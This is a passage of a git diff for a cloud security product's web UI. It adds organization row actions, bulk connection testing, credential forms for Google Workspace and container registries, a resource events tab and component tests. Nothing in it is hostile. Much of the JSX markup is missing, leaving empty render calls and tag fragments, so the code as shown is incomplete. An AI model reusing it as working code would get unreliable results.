Credentials")).not.toBeInTheDocument(); + }); + + it("renders all 4 organization actions for org rows", async () => { + const user = userEvent.setup(); + render( + , + ); + + await user.click(screen.getByRole("button")); + + expect(screen.getByText("Edit Organization Name")).toBeInTheDocument(); + expect(screen.getByText("Update Credentials")).toBeInTheDocument(); + // 1 of 2 child providers has a secret + expect(screen.getByText("Test Connections (1)")).toBeInTheDocument(); + expect(screen.getByText("Delete Organization")).toBeInTheDocument(); + }); + + it("renders Delete Organization with destructive styling for org rows", async () => { + const user = userEvent.setup(); + render( + , + ); + + await user.click(screen.getByRole("button")); + + const deleteItem = screen.getByText("Delete Organization"); + // Destructive items are rendered with error text color + const menuItem = deleteItem.closest("[role='menuitem']"); + expect(menuItem).toBeInTheDocument(); + expect(menuItem).toHaveClass("text-text-error-primary"); + }); + + it("renders only Test Connections and Delete for OU rows", async () => { + const user = userEvent.setup(); + render( + , + ); + + await user.click(screen.getByRole("button")); + + expect(screen.getByText("Test Connections (1)")).toBeInTheDocument(); + expect(screen.getByText("Delete Organization Unit")).toBeInTheDocument(); + }); + + it("shows selected provider count in Test Connections when org row has active selection", async () => { + const user = userEvent.setup(); + render( + , + ); + + await user.click(screen.getByRole("button")); + + // Should show count of selected testable providers (2), not all org children (1) + expect(screen.getByText("Test Connections (2)")).toBeInTheDocument(); + expect(screen.queryByText("Test Connections (1)")).not.toBeInTheDocument(); + }); + + it("shows selected provider count in Test Connections when OU row has active selection", async () => { + const user = userEvent.setup(); + render( + , + ); + + await user.click(screen.getByRole("button")); + + // Should show count of selected testable providers (2), not all OU children (1) + expect(screen.getByText("Test Connections (2)")).toBeInTheDocument(); + expect(screen.queryByText("Test Connections (1)")).not.toBeInTheDocument(); + }); + + it("does NOT render Edit Organization Name or Update Credentials for OU rows", async () => { + const user = userEvent.setup(); + render( + , + ); + + await user.click(screen.getByRole("button")); + + expect( + screen.queryByText("Edit Organization Name"), + ).not.toBeInTheDocument(); + expect(screen.queryByText("Update Credentials")).not.toBeInTheDocument(); + }); +}); diff --git a/ui/components/providers/table/data-table-row-actions.tsx b/ui/components/providers/table/data-table-row-actions.tsx index adbb5f0e9d..bf9f1c5dd5 100644 --- a/ui/components/providers/table/data-table-row-actions.tsx +++ b/ui/components/providers/table/data-table-row-actions.tsx @@ -1,12 +1,17 @@ "use client"; import { Row } from "@tanstack/react-table"; -import { Pencil, PlugZap, Trash2 } from "lucide-react"; +import { KeyRound, Pencil, Rocket, Trash2 } from "lucide-react"; import { useState } from "react"; -import { checkConnectionProvider } from "@/actions/providers/providers"; +import { updateOrganizationName } from "@/actions/organizations/organizations"; +import { updateProvider } from "@/actions/providers"; import { VerticalDotsIcon } from "@/components/icons"; import { ProviderWizardModal } from "@/components/providers/wizard"; +import { + ORG_WIZARD_INTENT, + OrgWizardInitialData, +} from "@/components/providers/wizard/types"; import { Button } from "@/components/shadcn"; import { ActionDropdown, @@ -14,38 +19,329 @@ import { ActionDropdownItem, } from "@/components/shadcn/dropdown"; import { Modal } from "@/components/shadcn/modal"; +import { useToast } from "@/components/ui"; +import { runWithConcurrencyLimit } from "@/lib/concurrency"; +import { testProviderConnection } from "@/lib/provider-helpers"; +import { ORG_SETUP_PHASE, ORG_WIZARD_STEP } from "@/types/organizations"; import { PROVIDER_WIZARD_MODE } from "@/types/provider-wizard"; -import { ProviderProps } from "@/types/providers"; +import { + isProvidersOrganizationRow, + PROVIDERS_GROUP_KIND, + PROVIDERS_ROW_TYPE, + ProvidersOrganizationRow, + ProvidersTableRow, +} from "@/types/providers-table"; -import { EditForm } from "../forms"; import { DeleteForm } from "../forms/delete-form"; +import { DeleteOrganizationForm } from "../forms/delete-organization-form"; +import { EditNameForm } from "../forms/edit-name-form"; interface DataTableRowActionsProps { - row: Row; + row: Row; + /** Whether any rows in the table are currently selected */ + hasSelection: boolean; + /** Whether this specific row is selected */ + isRowSelected: boolean; + /** IDs of all selected providers that have credentials (testable) */ + testableProviderIds: string[]; + /** Callback to clear the row selection after bulk operation */ + onClearSelection: () => void; } -export function DataTableRowActions({ row }: DataTableRowActionsProps) { +function collectTestableChildProviderIds(rows: ProvidersTableRow[]): string[] { + const ids: string[] = []; + for (const row of rows) { + if (row.rowType === PROVIDERS_ROW_TYPE.PROVIDER) { + if (row.relationships.secret.data) { + ids.push(row.id); + } + } else if (row.subRows) { + ids.push(...collectTestableChildProviderIds(row.subRows)); + } + } + return ids; +} + +interface OrgGroupDropdownActionsProps { + rowData: ProvidersOrganizationRow; + loading: boolean; + hasSelection: boolean; + testableProviderIds: string[]; + childTestableIds: string[]; + onClearSelection: () => void; + onBulkTest: (ids: string[]) => Promise; + onTestChildConnections: () => Promise; +} + +function OrgGroupDropdownActions({ + rowData, + loading, + hasSelection, + testableProviderIds, + childTestableIds, + onClearSelection, + onBulkTest, + onTestChildConnections, +}: OrgGroupDropdownActionsProps) { + const [isDeleteOrgOpen, setIsDeleteOrgOpen] = useState(false); + const [isEditNameOpen, setIsEditNameOpen] = useState(false); + const [isOrgWizardOpen, setIsOrgWizardOpen] = useState(false); + const [orgWizardData, setOrgWizardData] = + useState(null); + + const isOrgKind = rowData.groupKind === PROVIDERS_GROUP_KIND.ORGANIZATION; + const testIds = hasSelection ? testableProviderIds : childTestableIds; + const testCount = testIds.length; + const entityLabel = isOrgKind ? "organization" : "organizational unit"; + + const openOrgWizardAt = ( + targetStep: OrgWizardInitialData["targetStep"], + targetPhase: OrgWizardInitialData["targetPhase"], + intent?: OrgWizardInitialData["intent"], + ) => { + setOrgWizardData({ + organizationId: rowData.id, + organizationName: rowData.name, + externalId: rowData.externalId ?? "", + targetStep, + targetPhase, + intent, + }); + setIsOrgWizardOpen(true); + }; + + return ( + <> + {isOrgKind && ( + <> + + updateOrganizationName(rowData.id, name)} + /> + + + + )} + + + + +
+ + + + } + > + {isOrgKind && ( + <> + } + label="Edit Organization Name" + onSelect={() => setIsEditNameOpen(true)} + /> + } + label="Update Credentials" + onSelect={() => + openOrgWizardAt( + ORG_WIZARD_STEP.SETUP, + ORG_SETUP_PHASE.ACCESS, + ORG_WIZARD_INTENT.EDIT_CREDENTIALS, + ) + } + /> + + )} + } + label={loading ? "Testing..." : `Test Connections (${testCount})`} + onSelect={(e) => { + e.preventDefault(); + if (hasSelection) { + onBulkTest(testableProviderIds); + onClearSelection(); + } else { + onTestChildConnections(); + } + }} + disabled={testCount === 0 || loading} + /> + + } + label={ + isOrgKind ? "Delete Organization" : "Delete Organization Unit" + } + destructive + onSelect={() => setIsDeleteOrgOpen(true)} + /> + + +
+ + ); +} + +export function DataTableRowActions({ + row, + hasSelection, + isRowSelected, + testableProviderIds, + onClearSelection, +}: DataTableRowActionsProps) { const [isEditOpen, setIsEditOpen] = useState(false); const [isDeleteOpen, setIsDeleteOpen] = useState(false); const [isWizardOpen, setIsWizardOpen] = useState(false); const [loading, setLoading] = useState(false); - const provider = row.original; - const providerId = provider.id; - const providerType = provider.attributes.provider; - const providerUid = provider.attributes.uid; - const providerAlias = provider.attributes.alias ?? null; - const providerSecretId = provider.relationships.secret.data?.id ?? null; + const { toast } = useToast(); - const handleTestConnection = async () => { + const rowData = row.original; + const isOrganizationRow = isProvidersOrganizationRow(rowData); + const provider = isOrganizationRow ? null : rowData; + const providerId = provider?.id ?? ""; + const providerType = provider?.attributes.provider ?? "aws"; + const providerUid = provider?.attributes.uid ?? ""; + const providerAlias = provider?.attributes.alias ?? null; + const providerSecretId = provider?.relationships.secret.data?.id ?? null; + const hasSecret = Boolean(provider?.relationships.secret.data); + + const orgGroupKind = isOrganizationRow ? rowData.groupKind : null; + const childTestableIds = isOrganizationRow + ? collectTestableChildProviderIds(rowData.subRows) + : []; + + const handleBulkTest = async (ids: string[]) => { + if (ids.length === 0) return; setLoading(true); - const formData = new FormData(); - formData.append("providerId", providerId); - await checkConnectionProvider(formData); + + const results = await runWithConcurrencyLimit(ids, 10, async (id) => { + try { + return await testProviderConnection(id); + } catch { + return { connected: false, error: "Unexpected error" }; + } + }); + + const succeeded = results.filter((r) => r.connected).length; + const failed = results.length - succeeded; + + if (failed === 0) { + toast({ + title: "Connection test completed", + description: `${succeeded} ${succeeded === 1 ? "provider" : "providers"} tested successfully.`, + }); + } else { + toast({ + variant: "destructive", + title: "Connection test completed", + description: `${succeeded} succeeded, ${failed} failed out of ${results.length} providers.`, + }); + } + setLoading(false); }; - const hasSecret = Boolean(provider.relationships.secret.data); + const handleTestConnection = async () => { + if (hasSelection && isRowSelected) { + // Bulk: test all selected providers + await handleBulkTest(testableProviderIds); + onClearSelection(); + } else { + // Single: test only this provider + if (!providerId) return; + setLoading(true); + const result = await testProviderConnection(providerId); + setLoading(false); + if (!result.connected) { + toast({ + variant: "destructive", + title: "Connection test failed", + description: result.error ?? "Unknown error", + }); + } else { + toast({ + title: "Connection test completed", + description: "Provider tested successfully.", + }); + } + } + }; + + const handleTestChildConnections = async () => { + await handleBulkTest(childTestableIds); + }; + + // When this row is part of the selection, only show "Test Connection" + if (hasSelection && isRowSelected) { + const bulkCount = + testableProviderIds.length > 1 ? ` (${testableProviderIds.length})` : ""; + + return ( +
+ + + + } + > + } + label={loading ? "Testing..." : `Test Connection${bulkCount}`} + onSelect={(e) => { + e.preventDefault(); + handleTestConnection(); + }} + disabled={testableProviderIds.length === 0 || loading} + /> + +
+ ); + } + + // Organization / Organization Unit row actions + if (isProvidersOrganizationRow(rowData) && orgGroupKind) { + return ( + + ); + } + + // Provider row actions (unchanged) return ( <> - + {provider && ( + { + if (alias !== "" && alias.length < 3) { + return "The alias must be empty or have at least 3 characters."; + } + if (alias === (providerAlias ?? "")) { + return "The new alias must be different from the current one."; + } + return null; + }} + onSave={async (alias) => { + const formData = new FormData(); + formData.append("providerId", providerId); + formData.append("providerAlias", alias); + return updateProvider(formData); + }} + /> + )} - + {provider && ( + + )} - + } > } - label={hasSecret ? "Update Credentials" : "Add Credentials"} + label="Edit Provider Alias" + onSelect={() => setIsEditOpen(true)} + /> + } + label="Update Credentials" onSelect={() => setIsWizardOpen(true)} /> } + icon={} label={loading ? "Testing..." : "Test Connection"} - description={ - hasSecret && !loading - ? "Check the provider connection" - : loading - ? "Checking provider connection" - : "Add credentials to test the connection" - } onSelect={(e) => { e.preventDefault(); handleTestConnection(); }} disabled={!hasSecret || loading} /> - } - label="Edit Provider Alias" - onSelect={() => setIsEditOpen(true)} - /> } diff --git a/ui/components/providers/table/skeleton-table-provider.tsx b/ui/components/providers/table/skeleton-table-provider.tsx index 4476919840..7d57112291 100644 --- a/ui/components/providers/table/skeleton-table-provider.tsx +++ b/ui/components/providers/table/skeleton-table-provider.tsx @@ -1,39 +1,124 @@ -import React from "react"; - -import { Card } from "@/components/shadcn/card/card"; import { Skeleton } from "@/components/shadcn/skeleton/skeleton"; -export const SkeletonTableProviders = () => { +const SkeletonTableRow = () => { return ( - - {/* Table headers */} -
- - - - - - - -
- - {/* Table body */} -
- {[...Array(3)].map((_, index) => ( -
- - - - - - - + + {/* Account: provider logo + alias + UID */} + +
+ +
+ +
- ))} +
+ + {/* Account Groups: badge chips */} + +
+ + +
+ + {/* Last Scan: date + time */} + +
+ + +
+ + {/* Scan Schedule */} + + + + {/* Status: icon + text */} + +
+ + +
+ + {/* Added: date + time */} + +
+ + +
+ + {/* Actions */} + + + + + ); +}; + +export const SkeletonTableProviders = () => { + const rows = 10; + + return ( +
+ {/* Toolbar: Search + Total entries */} +
+ +
- + + {/* Table */} + + + + {/* Account */} + + {/* Account Groups */} + + {/* Last Scan */} + + {/* Scan Schedule */} + + {/* Status */} + + {/* Added */} + + {/* Actions - empty header */} + + + + {Array.from({ length: rows }).map((_, i) => ( + + ))} + +
+ + + + + + + + + + + + +
+ + {/* Pagination */} +
+
+ + +
+
+ +
+ + + + +
+
+
+
); }; diff --git a/ui/components/providers/wizard/hooks/use-provider-wizard-controller.ts b/ui/components/providers/wizard/hooks/use-provider-wizard-controller.ts index a5b6d6e188..111427131e 100644 --- a/ui/components/providers/wizard/hooks/use-provider-wizard-controller.ts +++ b/ui/components/providers/wizard/hooks/use-provider-wizard-controller.ts @@ -23,7 +23,7 @@ import { WIZARD_FOOTER_ACTION_TYPE, WizardFooterConfig, } from "../steps/footer-controls"; -import type { ProviderWizardInitialData } from "../types"; +import type { OrgWizardInitialData, ProviderWizardInitialData } from "../types"; const WIZARD_VARIANT = { PROVIDER: "provider", @@ -48,12 +48,14 @@ interface UseProviderWizardControllerProps { open: boolean; onOpenChange: (open: boolean) => void; initialData?: ProviderWizardInitialData; + orgInitialData?: OrgWizardInitialData; } export function useProviderWizardController({ open, onOpenChange, initialData, + orgInitialData, }: UseProviderWizardControllerProps) { const initialProviderId = initialData?.providerId ?? null; const initialProviderType = initialData?.providerType ?? null; @@ -90,7 +92,7 @@ export function useProviderWizardController({ mode, providerType, } = useProviderWizardStore(); - const { reset: resetOrgWizard } = useOrgSetupStore(); + const { reset: resetOrgWizard, setOrganization } = useOrgSetupStore(); useEffect(() => { if (!open) { @@ -103,6 +105,21 @@ export function useProviderWizardController({ } hasHydratedForCurrentOpenRef.current = true; + if (orgInitialData) { + setWizardVariant(WIZARD_VARIANT.ORGANIZATIONS); + resetOrgWizard(); + setOrganization( + orgInitialData.organizationId, + orgInitialData.organizationName, + orgInitialData.externalId, + ); + setOrgCurrentStep(orgInitialData.targetStep); + setOrgSetupPhase(orgInitialData.targetPhase); + setFooterConfig(EMPTY_FOOTER_CONFIG); + setProviderTypeHint(null); + return; + } + if (initialProviderId && initialProviderType && initialProviderUid) { setWizardVariant(WIZARD_VARIANT.PROVIDER); setProvider({ @@ -144,14 +161,18 @@ export function useProviderWizardController({ initialSecretId, initialVia, open, + orgInitialData, resetOrgWizard, resetProviderWizard, setMode, + setOrganization, setProvider, setSecretId, setVia, ]); + const isOrgDirectEntry = Boolean(orgInitialData); + const handleClose = () => { resetProviderWizard(); resetOrgWizard(); @@ -212,6 +233,7 @@ export function useProviderWizardController({ handleClose, handleDialogOpenChange, handleTestSuccess, + isOrgDirectEntry, isProviderFlow, modalTitle, openOrganizationsFlow, diff --git a/ui/components/providers/wizard/provider-wizard-modal.tsx b/ui/components/providers/wizard/provider-wizard-modal.tsx index 76b2a6ea77..9157ca74ce 100644 --- a/ui/components/providers/wizard/provider-wizard-modal.tsx +++ b/ui/components/providers/wizard/provider-wizard-modal.tsx @@ -22,19 +22,21 @@ import { CredentialsStep } from "./steps/credentials-step"; import { WIZARD_FOOTER_ACTION_TYPE } from "./steps/footer-controls"; import { LaunchStep } from "./steps/launch-step"; import { TestConnectionStep } from "./steps/test-connection-step"; -import type { ProviderWizardInitialData } from "./types"; +import type { OrgWizardInitialData, ProviderWizardInitialData } from "./types"; import { WizardStepper } from "./wizard-stepper"; interface ProviderWizardModalProps { open: boolean; onOpenChange: (open: boolean) => void; initialData?: ProviderWizardInitialData; + orgInitialData?: OrgWizardInitialData; } export function ProviderWizardModal({ open, onOpenChange, initialData, + orgInitialData, }: ProviderWizardModalProps) { const { backToProviderFlow, @@ -43,6 +45,7 @@ export function ProviderWizardModal({ handleClose, handleDialogOpenChange, handleTestSuccess, + isOrgDirectEntry, isProviderFlow, modalTitle, openOrganizationsFlow, @@ -59,6 +62,7 @@ export function ProviderWizardModal({ open, onOpenChange, initialData, + orgInitialData, }); const scrollHintRefreshToken = `${wizardVariant}-${currentStep}-${orgCurrentStep}-${orgSetupPhase}`; const { containerRef, sentinelRef, showScrollHint } = useScrollHint({ @@ -149,13 +153,23 @@ export function ProviderWizardModal({ {!isProviderFlow && orgCurrentStep === ORG_WIZARD_STEP.SETUP && ( { setOrgCurrentStep(ORG_WIZARD_STEP.VALIDATE); }} onFooterChange={setFooterConfig} onPhaseChange={setOrgSetupPhase} initialPhase={orgSetupPhase} + initialValues={ + orgInitialData + ? { + organizationName: orgInitialData.organizationName, + awsOrgId: orgInitialData.externalId, + } + : undefined + } + intent={orgInitialData?.intent} /> )} diff --git a/ui/components/providers/wizard/steps/credentials-step.test.tsx b/ui/components/providers/wizard/steps/credentials-step.test.tsx index 7c662f70b9..7f4610b212 100644 --- a/ui/components/providers/wizard/steps/credentials-step.test.tsx +++ b/ui/components/providers/wizard/steps/credentials-step.test.tsx @@ -42,6 +42,19 @@ vi.mock("../../workflow/forms/update-via-service-account-key-form", () => ({ UpdateViaServiceAccountForm: () =>
update-via-service-account-form
, })); +vi.mock("@/actions/providers/providers", () => ({ + checkConnectionProvider: vi.fn(), +})); + +vi.mock("@/actions/task/tasks", () => ({ + getTask: vi.fn(), +})); + +vi.mock("@/lib/helper", () => ({ + checkTaskStatus: vi.fn(), + getAuthHeaders: vi.fn(), +})); + describe("CredentialsStep", () => { beforeEach(() => { sessionStorage.clear(); diff --git a/ui/components/providers/wizard/types.ts b/ui/components/providers/wizard/types.ts index ab48b7fc70..92df95dbbb 100644 --- a/ui/components/providers/wizard/types.ts +++ b/ui/components/providers/wizard/types.ts @@ -1,3 +1,4 @@ +import { OrgSetupPhase, OrgWizardStep } from "@/types/organizations"; import { ProviderWizardMode } from "@/types/provider-wizard"; import { ProviderType } from "@/types/providers"; @@ -10,3 +11,21 @@ export interface ProviderWizardInitialData { via?: string | null; mode?: ProviderWizardMode; } + +export const ORG_WIZARD_INTENT = { + FULL: "full", + EDIT_NAME: "edit-name", + EDIT_CREDENTIALS: "edit-credentials", +} as const; + +export type OrgWizardIntent = + (typeof ORG_WIZARD_INTENT)[keyof typeof ORG_WIZARD_INTENT]; + +export interface OrgWizardInitialData { + organizationId: string; + organizationName: string; + externalId: string; + targetStep: OrgWizardStep; + targetPhase: OrgSetupPhase; + intent?: OrgWizardIntent; +} diff --git a/ui/components/providers/workflow/forms/base-credentials-form.tsx b/ui/components/providers/workflow/forms/base-credentials-form.tsx index 959749b8b7..02a4628e5d 100644 --- a/ui/components/providers/workflow/forms/base-credentials-form.tsx +++ b/ui/components/providers/workflow/forms/base-credentials-form.tsx @@ -22,7 +22,9 @@ import { CloudflareTokenCredentials, GCPDefaultCredentials, GCPServiceAccountKey, + GoogleWorkspaceCredentials, IacCredentials, + ImageCredentials, KubernetesCredentials, M365CertificateCredentials, M365ClientSecretCredentials, @@ -51,7 +53,9 @@ import { } from "./select-credentials-type/m365"; import { AzureCredentialsForm } from "./via-credentials/azure-credentials-form"; import { GitHubCredentialsForm } from "./via-credentials/github-credentials-form"; +import { GoogleWorkspaceCredentialsForm } from "./via-credentials/googleworkspace-credentials-form"; import { IacCredentialsForm } from "./via-credentials/iac-credentials-form"; +import { ImageCredentialsForm } from "./via-credentials/image-credentials-form"; import { KubernetesCredentialsForm } from "./via-credentials/k8s-credentials-form"; import { MongoDBAtlasCredentialsForm } from "./via-credentials/mongodbatlas-credentials-form"; import { OpenStackCredentialsForm } from "./via-credentials/openstack-credentials-form"; @@ -211,6 +215,11 @@ export const BaseCredentialsForm = ({ control={form.control as unknown as Control} /> )} + {providerType === "image" && ( + } + /> + )} {providerType === "oraclecloud" && ( } @@ -256,6 +265,13 @@ export const BaseCredentialsForm = ({ control={form.control as unknown as Control} /> )} + {providerType === "googleworkspace" && ( + + } + /> + )} {!hideActions && (
diff --git a/ui/components/providers/workflow/forms/connect-account-form.tsx b/ui/components/providers/workflow/forms/connect-account-form.tsx index 2b62a79459..0b08aec1c3 100644 --- a/ui/components/providers/workflow/forms/connect-account-form.tsx +++ b/ui/components/providers/workflow/forms/connect-account-form.tsx @@ -81,6 +81,11 @@ const getProviderFieldDetails = (providerType?: ProviderType) => { label: "Repository URL", placeholder: "e.g. https://github.com/user/repo", }; + case "image": + return { + label: "Registry URL", + placeholder: "e.g. 123456789012.dkr.ecr.us-east-1.amazonaws.com", + }; case "oraclecloud": return { label: "Tenancy OCID", @@ -106,6 +111,11 @@ const getProviderFieldDetails = (providerType?: ProviderType) => { label: "Project ID", placeholder: "e.g. a1b2c3d4-e5f6-7890-abcd-ef1234567890", }; + case "googleworkspace": + return { + label: "Customer ID", + placeholder: "e.g. C01234abc", + }; default: return { label: "Provider UID", diff --git a/ui/components/providers/workflow/forms/test-connection-form.tsx b/ui/components/providers/workflow/forms/test-connection-form.tsx index 2ee612701b..3d6c710b19 100644 --- a/ui/components/providers/workflow/forms/test-connection-form.tsx +++ b/ui/components/providers/workflow/forms/test-connection-form.tsx @@ -9,18 +9,13 @@ import { useEffect, useState } from "react"; import { useForm } from "react-hook-form"; import { z } from "zod"; -import { - checkConnectionProvider, - deleteCredentials, -} from "@/actions/providers"; -import { getTask } from "@/actions/task/tasks"; +import { deleteCredentials } from "@/actions/providers"; import { CheckIcon } from "@/components/icons"; import { Button } from "@/components/shadcn"; -import { useToast } from "@/components/ui"; import { Form } from "@/components/ui/form"; -import { checkTaskStatus } from "@/lib/helper"; +import { testProviderConnection } from "@/lib/provider-helpers"; import { ProviderType } from "@/types"; -import { ApiError, testConnectionFormSchema } from "@/types"; +import { testConnectionFormSchema } from "@/types"; import { ProviderConnectionInfo } from "./provider-connection-info"; @@ -70,7 +65,6 @@ export const TestConnectionForm = ({ hideActions = false, onLoadingChange, }: TestConnectionFormProps) => { - const { toast } = useToast(); const router = useRouter(); const providerId = searchParams.id; @@ -99,70 +93,23 @@ export const TestConnectionForm = ({ }, [isLoading, isResettingCredentials, onLoadingChange]); const onSubmitClient = async (values: FormValues) => { - const formData = new FormData(); - formData.append("providerId", values.providerId); + setApiErrorMessage(null); - const data = await checkConnectionProvider(formData); + const result = await testProviderConnection(values.providerId); - if (data?.errors && data.errors.length > 0) { - data.errors.forEach((error: ApiError) => { - const errorMessage = error.detail; + if (result.error === "Not found.") { + setApiErrorMessage(result.error); + return; + } - switch (errorMessage) { - case "Not found.": - setApiErrorMessage(errorMessage); - break; - default: - toast({ - variant: "destructive", - title: `Error ${error.status}`, - description: errorMessage, - }); - } - }); - } else { - const taskId = data.data.id; - setApiErrorMessage(null); + setConnectionStatus(result); - // Use the helper function to check the task status - const taskResult = await checkTaskStatus(taskId); - - if (taskResult.completed) { - const task = await getTask(taskId); - const { connected, error } = task.data.attributes.result; - - setConnectionStatus({ - connected, - error: connected ? null : error || "Unknown error", - }); - - if (connected && isUpdated) { - if (onSuccess) { - onSuccess(); - return; - } - return router.push("/providers"); - } - - if (connected && !isUpdated) { - if (onSuccess) { - onSuccess(); - return; - } - - return router.push("/providers"); - } else { - setConnectionStatus({ - connected: false, - error: error || "Connection failed, please review credentials.", - }); - } - } else { - setConnectionStatus({ - connected: false, - error: taskResult.error || "Unknown error", - }); + if (result.connected) { + if (onSuccess) { + onSuccess(); + return; } + return router.push("/providers"); } }; diff --git a/ui/components/providers/workflow/forms/via-credentials/googleworkspace-credentials-form.tsx b/ui/components/providers/workflow/forms/via-credentials/googleworkspace-credentials-form.tsx new file mode 100644 index 0000000000..de692aa1fe --- /dev/null +++ b/ui/components/providers/workflow/forms/via-credentials/googleworkspace-credentials-form.tsx @@ -0,0 +1,58 @@ +import { Control, Controller } from "react-hook-form"; + +import { + WizardInputField, + WizardTextareaField, +} from "@/components/providers/workflow/forms/fields"; +import { ProviderCredentialFields } from "@/lib/provider-credentials/provider-credential-fields"; +import { GoogleWorkspaceCredentials } from "@/types"; + +export const GoogleWorkspaceCredentialsForm = ({ + control, +}: { + control: Control; +}) => { + return ( + <> +
+
+ Connect via Service Account +
+
+ Provide your Service Account JSON and the admin email to impersonate. +
+
+ {/* Hidden input for customer_id - auto-populated from provider UID */} + } + /> + + +
+ Credentials never leave your browser unencrypted and are stored as + secrets in the backend. You can revoke the Service Account from the + Google Cloud Console anytime if needed. +
+ + ); +}; diff --git a/ui/components/providers/workflow/forms/via-credentials/image-credentials-form.tsx b/ui/components/providers/workflow/forms/via-credentials/image-credentials-form.tsx new file mode 100644 index 0000000000..b071b1c013 --- /dev/null +++ b/ui/components/providers/workflow/forms/via-credentials/image-credentials-form.tsx @@ -0,0 +1,84 @@ +import { Control } from "react-hook-form"; + +import { WizardInputField } from "@/components/providers/workflow/forms/fields"; +import { ProviderCredentialFields } from "@/lib/provider-credentials/provider-credential-fields"; +import { ImageCredentials } from "@/types"; + +export const ImageCredentialsForm = ({ + control, +}: { + control: Control; +}) => { + return ( + <> +
+
+ Connect via Registry Credentials +
+
+ Provide registry credentials to authenticate with your container + registry (all fields are optional). +
+
+ + + + +
+
+ Scan Scope +
+
+ Limit which repositories and tags are scanned using regex patterns. +
+
+ + + + ); +}; diff --git a/ui/components/providers/workflow/forms/via-credentials/index.ts b/ui/components/providers/workflow/forms/via-credentials/index.ts index 2b44d85485..4f5b55846a 100644 --- a/ui/components/providers/workflow/forms/via-credentials/index.ts +++ b/ui/components/providers/workflow/forms/via-credentials/index.ts @@ -1,6 +1,7 @@ export * from "./azure-credentials-form"; export * from "./github-credentials-form"; export * from "./iac-credentials-form"; +export * from "./image-credentials-form"; export * from "./k8s-credentials-form"; export * from "./mongodbatlas-credentials-form"; export * from "./openstack-credentials-form"; diff --git a/ui/components/resources/table/resource-detail-content.tsx b/ui/components/resources/table/resource-detail-content.tsx index 1e4c1f1f15..edbe9494f8 100644 --- a/ui/components/resources/table/resource-detail-content.tsx +++ b/ui/components/resources/table/resource-detail-content.tsx @@ -18,6 +18,7 @@ import { TooltipContent, TooltipTrigger, } from "@/components/shadcn"; +import { EventsTimeline } from "@/components/shared/events-timeline/events-timeline"; import { BreadcrumbNavigation, CustomBreadcrumbItem } from "@/components/ui"; import { CodeSnippet } from "@/components/ui/code-snippet/code-snippet"; import { @@ -134,6 +135,11 @@ export const ResourceDetailContent = ({ const attributes = resource.attributes; const providerData = resource.relationships.provider.data.attributes; + // Reset to overview tab when switching resources + useEffect(() => { + setActiveTab("overview"); + }, [resourceId]); + // Cleanup abort controller on unmount useEffect(() => { return () => { @@ -409,6 +415,7 @@ export const ResourceDetailContent = ({ Findings {totalFindings > 0 && `(${totalFindings})`} + Events {/* Overview Tab */} @@ -535,6 +542,14 @@ export const ResourceDetailContent = ({ )} + + {/* Events Tab */} + + +
); diff --git a/ui/components/scans/table/scan-detail.tsx b/ui/components/scans/table/scan-detail.tsx index 0cedd7e9c0..6c650271a3 100644 --- a/ui/components/scans/table/scan-detail.tsx +++ b/ui/components/scans/table/scan-detail.tsx @@ -1,8 +1,7 @@ "use client"; -import { Snippet } from "@heroui/snippet"; - import { Card, CardContent, CardHeader, CardTitle } from "@/components/shadcn"; +import { CodeSnippet } from "@/components/ui/code-snippet/code-snippet"; import { DateWithTime, EntityInfo, InfoField } from "@/components/ui/entities"; import { StatusBadge } from "@/components/ui/table/status-badge"; import { ProviderProps, ProviderType, ScanProps, TaskDetails } from "@/types"; @@ -81,18 +80,17 @@ export const ScanDetail = ({
- {scanDetails.id} + {scan.state === "failed" && taskDetails?.attributes.result && ( <> {taskDetails.attributes.result.exc_message && ( - - - {taskDetails.attributes.result.exc_message.join("\n")} - - + )}
diff --git a/ui/components/shadcn/select/multiselect.tsx b/ui/components/shadcn/select/multiselect.tsx index 58b9b86035..53d66989c2 100644 --- a/ui/components/shadcn/select/multiselect.tsx +++ b/ui/components/shadcn/select/multiselect.tsx @@ -121,7 +121,7 @@ export function MultiSelectTrigger({ data-slot="multiselect-trigger" data-size={size} className={cn( - "border-border-input-primary bg-bg-input-primary text-bg-button-secondary data-[placeholder]:text-bg-button-secondary [&_svg:not([class*='text-'])]:text-bg-button-secondary aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:bg-input/30 dark:hover:bg-input/50 focus-visible:border-border-input-primary-press focus-visible:ring-border-input-primary-press flex w-full items-center justify-between gap-2 rounded-lg border px-4 py-3 text-sm whitespace-nowrap shadow-xs transition-[color,box-shadow] outline-none focus-visible:ring-1 focus-visible:ring-offset-1 disabled:cursor-not-allowed disabled:opacity-50 data-[size=default]:h-[52px] data-[size=sm]:h-10 *:data-[slot=multiselect-value]:line-clamp-1 *:data-[slot=multiselect-value]:flex *:data-[slot=multiselect-value]:items-center *:data-[slot=multiselect-value]:gap-2 dark:focus-visible:ring-slate-400 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-6", + "border-border-input-primary bg-bg-input-primary text-bg-button-secondary data-[placeholder]:text-bg-button-secondary [&_svg:not([class*='text-'])]:text-bg-button-secondary aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:bg-input/30 dark:hover:bg-input/50 focus-visible:border-border-input-primary-press focus-visible:ring-border-input-primary-press flex w-full items-center justify-between gap-2 overflow-hidden rounded-lg border px-4 py-3 text-sm whitespace-nowrap shadow-xs transition-[color,box-shadow] outline-none focus-visible:ring-1 focus-visible:ring-offset-1 disabled:cursor-not-allowed disabled:opacity-50 data-[size=default]:h-[52px] data-[size=sm]:h-10 *:data-[slot=multiselect-value]:line-clamp-1 *:data-[slot=multiselect-value]:flex *:data-[slot=multiselect-value]:items-center *:data-[slot=multiselect-value]:gap-2 dark:focus-visible:ring-slate-400 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-6", className, )} > diff --git a/ui/components/shared/events-timeline/events-timeline.test.tsx b/ui/components/shared/events-timeline/events-timeline.test.tsx new file mode 100644 index 0000000000..3daf445384 --- /dev/null +++ b/ui/components/shared/events-timeline/events-timeline.test.tsx @@ -0,0 +1,293 @@ +import { render, screen, waitFor } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import { EventsTimeline } from "./events-timeline"; + +const { getResourceEventsMock } = vi.hoisted(() => ({ + getResourceEventsMock: vi.fn(), +})); + +vi.mock("@/actions/resources", () => ({ + getResourceEvents: getResourceEventsMock, +})); + +const mockEvent = { + type: "resource-events" as const, + id: "event-1", + attributes: { + event_time: 